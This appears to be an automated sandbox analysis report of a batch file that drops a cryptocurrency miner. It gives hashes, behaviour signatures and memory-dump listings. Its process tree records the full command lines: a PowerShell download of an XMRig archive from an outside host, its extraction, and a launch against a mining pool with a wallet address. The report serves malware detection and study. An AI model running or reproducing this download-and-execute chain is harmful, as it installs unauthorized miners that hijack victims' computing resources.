Analysis

  • max time kernel
    1812s
  • max time network
    1824s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 21:13

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3628
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4380

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f844bccc562c540544226f6e69e7ad60

    SHA1

    1b7b9e1930bff43b329db1b317fa8473e9810fc2

    SHA256

    9d6d96b71db5065782ddd0bc0dfeed4ae0ddf626bad2a106dcc5ce08ef951c89

    SHA512

    dca5069bebf9ef10692e73cafda6756e0e43e7da82a325192b7480357cbce21afc32d2cbc6a0e0edbef9831cd41263eab63cb175bbb0a47e67963107093aa009

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j51lg11f.55g.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    325KB

    MD5

    cf418eecc205f0949d989f22b270b386

    SHA1

    5360622d6c6f6de22955469f47208888fd30f7b7

    SHA256

    3689e41bf90692f1f269089ee752ac6f3e7505c663699dc87d169ca1b836f4c2

    SHA512

    702fd155fced16ea5cfca04fd038fd7089203c330eeb21a4bd64dbc7431adf9019bc09c34f7b70e11979e379d0f6f9e78fe0a63504fc6a5af34533c3ddf1aff9

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    765KB

    MD5

    afaf98fc511dff004496f736abc9ccab

    SHA1

    db3942f1062805ac19b74c82de96edbd50556c9c

    SHA256

    ce44bbf257b35dba118319689a7bc140944236d25100315294d27ee2e4f0ff3b

    SHA512

    3133e01940db2846b20f0094537be4eec7474b6ce0830fd1b32ef86dedf1db17456ba0cb0dc720738c999044e104ac36499ca895e839017e2690ec406bb6cbb9

  • memory/2796-4-0x0000018B46860000-0x0000018B46882000-memory.dmp

    Filesize

    136KB

  • memory/2796-6-0x00007FFA04350000-0x00007FFA04D3C000-memory.dmp

    Filesize

    9.9MB

  • memory/2796-10-0x0000018B46890000-0x0000018B468A0000-memory.dmp

    Filesize

    64KB

  • memory/2796-9-0x0000018B46B20000-0x0000018B46B96000-memory.dmp

    Filesize

    472KB

  • memory/2796-8-0x0000018B46890000-0x0000018B468A0000-memory.dmp

    Filesize

    64KB

  • memory/2796-25-0x0000018B46890000-0x0000018B468A0000-memory.dmp

    Filesize

    64KB

  • memory/2796-26-0x00007FFA04350000-0x00007FFA04D3C000-memory.dmp

    Filesize

    9.9MB

  • memory/2796-27-0x0000018B46890000-0x0000018B468A0000-memory.dmp

    Filesize

    64KB

  • memory/2796-32-0x00007FFA04350000-0x00007FFA04D3C000-memory.dmp

    Filesize

    9.9MB

  • memory/3628-37-0x00007FFA04350000-0x00007FFA04D3C000-memory.dmp

    Filesize

    9.9MB

  • memory/3628-40-0x000001DCB4C50000-0x000001DCB4C60000-memory.dmp

    Filesize

    64KB

  • memory/3628-39-0x000001DCB4C50000-0x000001DCB4C60000-memory.dmp

    Filesize

    64KB

  • memory/3628-65-0x000001DCB4C50000-0x000001DCB4C60000-memory.dmp

    Filesize

    64KB

  • memory/3628-78-0x000001DCCD160000-0x000001DCCD172000-memory.dmp

    Filesize

    72KB

  • memory/3628-91-0x000001DCCD140000-0x000001DCCD14A000-memory.dmp

    Filesize

    40KB

  • memory/3628-115-0x00007FFA04350000-0x00007FFA04D3C000-memory.dmp

    Filesize

    9.9MB

  • memory/4380-141-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-153-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-120-0x000001F4579F0000-0x000001F457A30000-memory.dmp

    Filesize

    256KB

  • memory/4380-121-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-122-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-123-0x000001F456220000-0x000001F456240000-memory.dmp

    Filesize

    128KB

  • memory/4380-124-0x000001F457A30000-0x000001F457A50000-memory.dmp

    Filesize

    128KB

  • memory/4380-125-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-126-0x000001F456220000-0x000001F456240000-memory.dmp

    Filesize

    128KB

  • memory/4380-127-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-128-0x000001F457A30000-0x000001F457A50000-memory.dmp

    Filesize

    128KB

  • memory/4380-129-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-130-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-131-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-132-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-133-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-134-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-135-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-136-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-137-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-138-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-139-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-140-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-118-0x000001F4561D0000-0x000001F4561F0000-memory.dmp

    Filesize

    128KB

  • memory/4380-142-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-143-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-144-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-145-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-146-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-147-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-148-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-149-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-150-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-151-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-152-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-119-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-154-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-155-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-156-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-157-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-158-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-159-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-160-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-161-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-162-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-163-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-164-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-165-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-166-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-167-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-168-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-169-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-170-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-171-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-172-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-173-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-174-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-175-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-176-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-177-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-178-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-179-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-180-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-181-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-182-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-183-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-184-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-185-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB

  • memory/4380-186-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp

    Filesize

    11.0MB